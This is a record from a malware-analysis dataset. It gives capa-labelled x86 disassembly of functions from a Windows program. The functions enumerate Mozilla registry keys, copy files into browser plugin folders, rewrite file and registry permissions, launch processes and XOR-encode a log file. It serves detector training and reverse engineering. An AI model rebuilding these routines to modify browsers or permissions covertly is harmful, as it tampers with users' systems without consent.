joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dcef
Capabilities:
Copy file
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1bc]
sub esp, 0x23c
mov eax, dword [0x434450]
push esi
mov dword [ebp + 0x1b8], eax
xor esi, esi
lea eax, [ebp - 0x64]
push eax
push 8
push esi
push str.SoftwareMozilla
push dword [ebp + 0x1c8]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x70], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dec2
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov edi, 0x104
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x68]
mov dword [ebp - 0x60], edi
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, esi
mov dword [ebp - 0x78], eax
jne 0x40deaf
lea eax, [ebp - 0x58]
push str.Extensions
push eax
call fcn.0041e270
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
push 1
push esi
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40deaf
inc dword [ebp - 0x74]
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp + 0xb0]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push str.Plugins
push dword [ebp - 0x70]
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x6c], 1
call ebx
test eax, eax
jne 0x40de27
lea eax, [ebp + 0xb0]
push eax
call fcn.0041de70
pop ecx
lea ecx, [ebp + 0xb0]
dec ecx
cmp byte [eax + ecx], 0x5c
je 0x40ddf4
lea eax, [ebp + 0xb0]
push 0x429924
push eax
call fcn.0041e270
pop ecx
pop ecx
mov eax, dword [ebp + 0x1c4]
push dword [eax + 0x60]
lea eax, [ebp + 0xb0]
push eax
call fcn.0041e270
pop ecx
pop ecx
push esi
lea eax, [ebp + 0xb0]
push eax
push dword [ebp + 0x1cc]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40de27
or dword [ebp - 0x5c], 8
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp + 0xb0]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push str.Components
push dword [ebp - 0x70]
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x6c], 1
call ebx
test eax, eax
jne 0x40deaf
lea eax, [ebp + 0xb0]
push eax
call fcn.0041de70
pop ecx
lea ecx, [ebp + 0xb0]
dec ecx
cmp byte [eax + ecx], 0x5c
je 0x40de7c
lea eax, [ebp + 0xb0]
push 0x429924
push eax
call fcn.0041e270
pop ecx
pop ecx
mov eax, dword [ebp + 0x1c4]
push dword [eax + 0x64]
lea eax, [ebp + 0xb0]
push eax
call fcn.0041e270
pop ecx
pop ecx
push esi
lea eax, [ebp + 0xb0]
push eax
push dword [ebp + 0x1d0]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40deaf
or dword [ebp - 0x5c], 0x10
inc dword [ebp - 0x68]
cmp dword [ebp - 0x78], esi
je 0x40dd47
cmp dword [ebp - 0x74], esi
pop edi
pop ebx
jne 0x40dec6
or byte [ebp - 0x5c], 0x80
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x1b8]
mov eax, dword [ebp - 0x5c]
pop esi
call fcn.0041e1ae
add ebp, 0x1bc
leave
ret
Function at 0x40e086
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x434450]
push ebx
push edi
push str.advapi32.dll
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x40e0b0
xor al, al
jmp 0x40e21d
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.AllocateAndInitializeSid
push edi
call esi
push str.SetEntriesInAclA
push edi
mov dword [ebp - 0x10], eax
call esi
push str.InitializeSecurityDescriptor
push edi
mov dword [ebp - 0x24], eax
call esi
push str.SetSecurityDescriptorDacl
push edi
mov dword [ebp - 0x20], eax
call esi
push str.SetFileSecurityA
push edi
mov dword [ebp - 0x18], eax
call esi
push str.RegSetKeySecurity
push edi
mov dword [ebp - 0x1c], eax
call esi
push str.FreeSid
push edi
mov dword [ebp - 0x28], eax
call esi
cmp dword [ebp - 0x10], ebx
mov dword [ebp - 0x2c], eax
je 0x40e21a
cmp dword [ebp - 0x24], ebx
je 0x40e21a
cmp dword [ebp - 0x20], ebx
je 0x40e21a
cmp dword [ebp - 0x18], ebx
je 0x40e21a
cmp dword [ebp - 0x1c], ebx
je 0x40e21a
cmp dword [ebp - 0x28], ebx
je 0x40e21a
cmp eax, ebx
je 0x40e21a
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
xor esi, esi
inc esi
push esi
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov byte [ebp - 7], 1
call dword [ebp - 0x10]
test eax, eax
je 0x40e216
push 0x20
lea eax, [ebp - 0x4c]
push ebx
push eax
call fcn.0041d8e0
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push esi
mov dword [ebp - 0x4c], 0x1fffff
mov dword [ebp - 0x48], 2
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x10], ebx
call dword [ebp - 0x24]
test eax, eax
jne 0x40e210
push 0x14
call fcn.0041d202
pop ecx
mov edi, eax
push esi
push edi
call dword [ebp - 0x20]
test eax, eax
je 0x40e200
push ebx
push dword [ebp - 0x10]
push esi
push edi
call dword [ebp - 0x18]
test eax, eax
je 0x40e200
mov eax, dword [ebp + 8]
cmp dword [eax + 0x18], 0x10
jb 0x40e1ed
mov eax, dword [eax + 4]
jmp 0x40e1f0
add eax, 4
push edi
push 4
push eax
call dword [ebp - 0x1c]
mov ebx, eax
dec ebx
neg ebx
sbb bl, bl
inc bl
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call fcn.0041de2b
pop ecx
push dword [ebp - 0x14]
call dword [ebp - 0x2c]
mov al, bl
jmp 0x40e21c
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
pop edi
pop ebx
call fcn.0041e1ae
leave
ret
Function at 0x40e6d3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x434450]
mov ecx, dword [ebp + 0xa8]
push 0x429911
mov dword [ebp + 0x94], eax
call fcn.0040e5bc
and dword [ebp - 0x78], 0
lea eax, [ebp - 0x78]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push dword [ebp + 0xa0]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e77a
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push dword [ebp + 0xa4]
mov dword [ebp - 0x7c], 0x104
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e771
mov eax, dword [ebp - 0x7c]
test eax, eax
mov byte [ebp + eax - 0x74], 0
jbe 0x40e771
push edi
lea edi, [ebp - 0x74]
call fcn.0040dbab
test al, al
pop edi
je 0x40e771
mov ecx, dword [ebp + 0xa8]
lea eax, [ebp - 0x74]
push eax
call fcn.0040e5bc
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x94]
call fcn.0041e1ae
add ebp, 0x98
leave
ret

Function at 0x40e78d
Capabilities:
Get common file path

Disassembly:
mov eax, 0x428808
call fcn.0041de0c
sub esp, 0x12c
mov eax, dword [0x434450]
push ebx
xor ebx, ebx
push 0x429911
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], ebx
call fcn.0040e5d9
lea eax, [ebp - 0x2c]
push eax
push str.Common_AppData
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], ebx
call fcn.0040e6d3
add esp, 0xc
cmp dword [ebp - 0x18], ebx
jne 0x40e836
lea eax, [ebp - 0x2c]
push eax
push str.AppData
push SysReAllocString
call fcn.0040e6d3
add esp, 0xc
cmp dword [ebp - 0x18], ebx
jne 0x40e836
push esi
lea eax, [ebp - 0x134]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, ebx
jbe 0x40e810
cmp eax, esi
jbe 0x40e830
push edi
lea edi, [ebp - 0x134]
call fcn.0040dbab
test al, al
pop edi
je 0x40e830
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040e5bc
cmp dword [ebp - 0x18], ebx
pop esi
je 0x40e87a
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x40e842
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
cmp byte [eax + ecx - 1], 0x5c
je 0x40e858
push 0x5c
push 1
lea ecx, [ebp - 0x2c]
call fcn.0040e379
push 0xffffffffffffffff
push ebx
push dword [ebp + 0xc]
lea ecx, [ebp - 0x2c]
call fcn.0040e468
lea eax, [ebp - 0x2c]
push eax
call fcn.0040e619
lea eax, [ebp - 0x2c]
push eax
call fcn.0040e086
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040e56c
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.0040dfd1
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.0041e1ae
leave
ret
Function at 0x40f641
Capabilities:
Create directory

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push 0x429924
lea eax, [ebp + 1]
xor ebx, ebx
xor edi, edi
push eax
jmp 0x40f677
mov al, byte [esi]
push ebx
push ebp
mov byte [esp + 0x1c], al
mov byte [esi], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [esp + 0x14]
mov byte [esi], al
mov edi, esi
push 0x429924
inc esi
push esi
call fcn.0041f600
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jne 0x40f658
cmp byte [esp + 0x18], bl
jne 0x40f69d
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
push ebp
call fcn.0041efcd
mov ebx, eax
jmp 0x40f6b8
cmp edi, ebx
je 0x40f6c0
mov al, byte [edi]
push ebx
push ebp
mov byte [esp + 0x1c], al
mov byte [edi], bl
call fcn.0041efcd
mov ebx, eax
mov al, byte [esp + 0x1c]
mov byte [edi], al
neg ebx
pop ecx
sbb bl, bl
pop ecx
inc bl
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
ret

Function at 0x40f6c7
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x434450]
push esi
push edi
push dword [ebp + 0x198]
mov dword [ebp + 0x18c], eax
lea eax, [ebp + 0x88]
push eax
mov byte [ebp - 0x7d], 0
call fcn.0041e260
mov esi, 0x429924
lea eax, [ebp + 0x88]
push esi
push eax
call fcn.00417381
add esp, 0x10
test al, al
jne 0x40f720
lea eax, [ebp + 0x88]
push esi
push eax
call fcn.0041e270
pop ecx
pop ecx
xor edi, edi
lea eax, [ebp + 0x88]
push edi
push eax
call fcn.0041efcd
test eax, eax
pop ecx
pop ecx
jne 0x40f7a8
lea eax, [ebp - 0x7c]
push eax
push edi
push str..ztfp
lea eax, [ebp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x40f7a8
push ebx
push edi
mov esi, 0x80
push esi
push 2
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, 0xc0000000
push ebx
lea eax, [ebp - 0x7c]
push eax
call edi
cmp eax, 0xffffffff
jne 0x40f792
push esi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
push eax
push esi
push 2
push eax
push eax
push ebx
lea eax, [ebp - 0x7c]
push eax
call edi
cmp eax, 0xffffffff
je 0x40f79d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x7d], 1
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop ebx
mov ecx, dword [ebp + 0x18c]
mov al, byte [ebp - 0x7d]
pop edi
pop esi
call fcn.0041e1ae
add ebp, 0x190
leave
ret
Function at 0x40f8c9
Capabilities:
Create process on windows
Set current directory

Disassembly:
push ebp
lea ebp, [esp - 0xdc]
sub esp, 0x15c
mov eax, dword [0x434450]
push ebx
push esi
push 0x44
pop esi
push esi
mov dword [ebp + 0xd8], eax
xor ebx, ebx
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.0041d8e0
push 0x10
lea eax, [ebp - 0x3c]
push ebx
push eax
mov dword [ebp - 0x80], esi
call fcn.0041d8e0
push dword [ebp + 0xe4]
lea eax, [ebp - 0x2c]
push eax
call fcn.0041e260
lea eax, [ebp - 0x2c]
push 0x5c
push eax
call fcn.0041ebd0
add esp, 0x28
cmp eax, ebx
je 0x40f931
mov byte [eax + 1], bl
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 0xe4]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40f96d
push 0xffffffffffffffff
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
mov bl, 1
mov ecx, dword [ebp + 0xd8]
pop esi
mov al, bl
pop ebx
call fcn.0041e1ae
add ebp, 0xdc
leave
ret
Function at 0x40ff2b
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
test esi, esi
je 0x40ff5e
push esi
call fcn.0041de70
pop ecx
xor ecx, ecx
test eax, eax
jbe 0x40ff4d
xor byte [ecx + esi], 0x2f
inc ecx
cmp ecx, eax
jb 0x40ff44
push 0
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
leave
ret
Function at 0x40ff63
Capabilities:
Get file size
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x510
cmp byte [ebp + 8], 0
mov eax, dword [0x434450]
mov dword [ebp - 4], eax
je 0x41017f
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x41017e
push dword [ebp + 0xc]
call fcn.0041de70
cmp eax, edi
pop ecx
mov dword [ebp - 0x510], eax
jle 0x41017e
push 0x104
lea eax, [ebp - 0x108]
push eax
push edi
mov byte [ebp - 0x108], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.0041ebd0
cmp eax, edi
pop ecx
pop ecx
je 0x40ffe6
mov byte [eax + 1], 0
lea eax, [ebp - 0x108]
push str.wrapperdl.tdat
push eax
call fcn.0041e270
pop ecx
pop ecx
push ebx
push esi
push edi
mov esi, 0x80
push esi
push 4
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
mov ebx, 0x40000000
push ebx
lea eax, [ebp - 0x108]
push eax
call edi
cmp eax, 0xffffffff
mov dword [ebp - 0x50c], eax
jne 0x410044
push esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push esi
push 4
push 0
push 2
push ebx
lea eax, [ebp - 0x108]
push eax
call edi
cmp eax, 0xffffffff
mov dword [ebp - 0x50c], eax
je 0x41017c
push 0
push dword [ebp - 0x50c]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
je 0x410081
cmp eax, 0x19000
jbe 0x410081
push dword [ebp - 0x50c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push esi
push 5
push 0
push 2
push ebx
lea eax, [ebp - 0x108]
push eax
call edi
mov edi, eax
jmp 0x410087
mov edi, dword [ebp - 0x50c]
cmp edi, 0xffffffff
je 0x41017c
push 2
xor ebx, ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [ebp + 0x10], ebx
mov esi, dword [ebp - 0x510]
je 0x4100c0
push dword [ebp + 0x10]
call fcn.0041de70
cmp eax, esi
pop ecx
jle 0x4100c0
push dword [ebp + 0x10]
call fcn.0041de70
pop ecx
mov esi, eax
add esi, 0x64
push esi
call fcn.0041d202
mov ebx, 0x42aa40
mov esi, eax
push ebx
push esi
call fcn.0041e260
add esp, 0xc
cmp byte [ebp + 0x14], 0
je 0x4100e7
push edi
call fcn.0040ff2b
pop ecx
and dword [ebp + 8], 0
lea eax, [ebp + 8]
push eax
call fcn.0041f07c
lea eax, [ebp + 8]
push eax
call fcn.0041fedb
push eax
push str._d__m__Y__H:_M:_S
lea eax, [ebp - 0x508]
push 0x400
push eax
call fcn.0041fec0
lea eax, [ebp - 0x508]
push eax
push esi
call fcn.0041e260
push edi
call fcn.0040ff2b
push dword [ebp + 0xc]
push esi
call fcn.0041e260
push edi
call fcn.0040ff2b
add esp, 0x30
cmp dword [ebp + 0x10], 0
je 0x41015e
push dword [ebp + 0x10]
call fcn.0041de70
test eax, eax
pop ecx
jbe 0x41015e
push dword [ebp + 0x10]
push esi
call fcn.0041e260
push edi
call fcn.0040ff2b
add esp, 0xc
push ebx
push esi
call fcn.0041e260
push edi
call fcn.0040ff2b
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0041de2b
pop ecx
pop esi
pop ebx
pop edi
mov ecx, dword [ebp - 4]
call fcn.0041e1ae
leave
ret
Function at 0x411fbf
Capabilities:
Delete file

Disassembly:
mov eax, 0x428949
call fcn.0041de0c
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x1c], ebx
push edi
mov dword [ebp - 0x10], esp
mov dword [esi], 0x42ac00
mov dword [ebp - 4], ebx
je 0x412020
call fcn.00410cba
mov edi, eax
cmp edi, ebx
je 0x412004
mov eax, dword [esi + 0x1c]
push dword [eax + 4]
push 0x42efc0
push edi
call fcn.00406be8
mov eax, dword [edi]
push edi
call dword [eax + 8]
mov edi, dword [esi + 0x1c]
mov eax, dword [edi + 0xc]
cmp eax, ebx
je 0x412014
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [edi + 0xc], ebx
mov eax, dword [esi + 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [esi + 0x20], ebx
je 0x412044
push dword [esi + 0x2c]
push 0x42f030
push dword [esi + 0x28]
call fcn.00406be8
mov eax, dword [esi + 0x20]
mov dword [eax + 8], ebx
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x24]
cmp eax, ebx
je 0x412051
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x28]
cmp eax, ebx
je 0x41205e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [esi + 0x30]
cmp dword [ecx], ebx
je 0x41206a
call fcn.0040fea2
mov eax, dword [esi + 0x34]
cmp eax, ebx
je 0x412078
push eax
call fcn.0041eb08
pop ecx
mov eax, dword [esi + 0x38]
cmp eax, ebx
je 0x412086
push eax
call fcn.0041eb08
pop ecx
lea eax, [esi + 0x40]
cmp byte [eax], bl
je 0x412094
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x413459
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor ebx, ebx
push ebx
push ebx
push dword [ebp + 0xc]
mov byte [ebp - 1], bl
push dword [ebp + 8]
call edi
cmp eax, 0xffffffff
je 0x41350c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea eax, [ebp - 8]
push eax
push 1
lea eax, [ebp - 2]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
call esi
test eax, eax
setne al
cmp al, bl
je 0x41350b
cmp dword [ebp - 8], 1
jne 0x4134cc
cmp byte [ebp - 2], bl
je 0x4134cc
inc dword [ebp - 0xc]
push ebx
lea eax, [ebp - 8]
push eax
push 1
lea eax, [ebp - 2]
push eax
push dword [ebp + 8]
call esi
test eax, eax
setne al
cmp al, bl
jne 0x4134a5
cmp al, bl
je 0x41350b
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
cmp eax, 0xffffffff
je 0x41350b
mov edi, dword [ebp - 0xc]
inc edi
push edi
call fcn.0041d202
pop ecx
mov ecx, dword [ebp + 0x10]
push ebx
mov dword [ecx], eax
lea ecx, [ebp - 8]
push ecx
push edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x413508
cmp dword [ebp - 8], edi
mov byte [ebp - 1], 1
je 0x41350b
mov byte [ebp - 1], bl
pop esi
mov al, byte [ebp - 1]
pop edi
pop ebx
leave
ret
Function at 0x413565
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4135b5
push ebx
lea eax, [ebp - 8]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4135b5
cmp dword [ebp - 8], 2
jne 0x4135b5
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 4]
shl eax, 8
add eax, ecx
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov bl, 1
mov al, bl
pop ebx
leave
ret

Function at 0x416386
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
push dword [esi + 0x128]
mov byte [ebp - 1], 0
call fcn.0041de2b
xor edi, edi
cmp dword [ebp + 8], edi
pop ecx
mov dword [esi + 0x128], edi
mov dword [esi + 0x124], edi
je 0x4164dc
push ebx
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4164db
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [esi + 4]
mov dword [ebp + 8], eax
mov eax, dword [ecx]
push ebx
call dword [eax + 8]
test al, al
je 0x4164d4
mov edx, dword [esi + 0x60]
sub edx, 0x40
lea ecx, [esi + 0x64]
mov eax, dword [ecx]
push edx
push ebx
call dword [eax + 4]
test al, al
je 0x4164d4
lea ecx, [esi + 0x70]
mov eax, dword [ecx]
push ebx
call dword [eax + 8]
test al, al
je 0x4164d4
push dword [esi + 0x104]
lea ecx, [esi + 0x108]
mov eax, dword [ecx]
push ebx
call dword [eax + 0x44]
test al, al
je 0x4164d4
lea eax, [esi + 0x108]
push eax
push dword [esi + 0x7c]
lea edi, [esi + 0x114]
mov edx, dword [edi]
push ebx
mov ecx, edi
call dword [edx + 0xc]
test al, al
je 0x4164d4
mov eax, dword [edi]
push ebx
mov ecx, edi
call dword [eax + 0x14]
test al, al
je 0x4164d4
mov edi, dword [esi + 0x110]
jmp 0x416479
mov eax, dword [edi]
push esi
push ebx
mov ecx, edi
call dword [eax + 4]
test al, al
je 0x4164e5
mov edi, dword [edi + 4]
test edi, edi
jne 0x416469
push 1
push edi
push edi
push ebx
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4164d4
mov ecx, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x124], ecx
je 0x4164d0
push ecx
call fcn.0041d202
and dword [ebp + 8], edi
pop ecx
push edi
lea ecx, [ebp + 8]
push ecx
push dword [esi + 0x124]
mov dword [esi + 0x128], eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4164e5
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x124]
jne 0x4164e5
mov byte [ebp - 1], 1
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov al, byte [ebp - 1]
pop edi
pop esi
leave
ret 4
mov byte [ebp - 1], 0
jmp 0x4164d4
Function at 0x4164eb
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
cmp dword [ebp + 8], eax
push esi
mov esi, ecx
mov byte [ebp - 1], 0
je 0x4165c0
push ebx
push eax
push 0x80
push 2
push eax
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4165bf
lea ecx, [esi + 4]
mov eax, dword [ecx]
push ebx
call dword [eax + 0xc]
test al, al
je 0x4165b8
lea ecx, [esi + 0x64]
mov eax, dword [ecx]
push ebx
call dword [eax + 8]
test al, al
je 0x4165b8
lea ecx, [esi + 0x70]
mov eax, dword [ecx]
push ebx
call dword [eax + 0xc]
test al, al
je 0x4165b8
lea ecx, [esi + 0x108]
mov eax, dword [ecx]
push ebx
call dword [eax + 0x48]
test al, al
je 0x4165b8
push edi
lea edi, [esi + 0x114]
mov eax, dword [edi]
push ebx
mov ecx, edi
call dword [eax + 0x10]
test al, al
je 0x4165b7
mov eax, dword [edi]
push ebx
mov ecx, edi
call dword [eax + 0x18]
test al, al
je 0x4165b7
mov eax, dword [esi + 0x124]
test eax, eax
jbe 0x4165b3
push 0
lea ecx, [ebp + 8]
push ecx
push eax
push dword [esi + 0x128]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4165ad
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x124]
je 0x4165b3
mov byte [ebp - 1], 0
jmp 0x4165b7
mov byte [ebp - 1], 1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov al, byte [ebp - 1]
pop esi
leave
ret 4

Function at 0x416864
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [ecx + 4], 0
jne 0x41688b
push 0x433220
lea ecx, [ebp - 0xc]
call fcn.004200b1
push 0x431718
lea eax, [ebp - 0xc]
push eax
call fcn.0041e21e
push esi
xor esi, esi
cmp dword [ecx + 0x3cc], esi
jle 0x4168ad
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dl, byte [edi]
xor byte [eax], dl
inc edi
inc eax
inc esi
cmp esi, dword [ecx + 0x3cc]
jl 0x41689d
pop edi
pop esi
leave
ret 8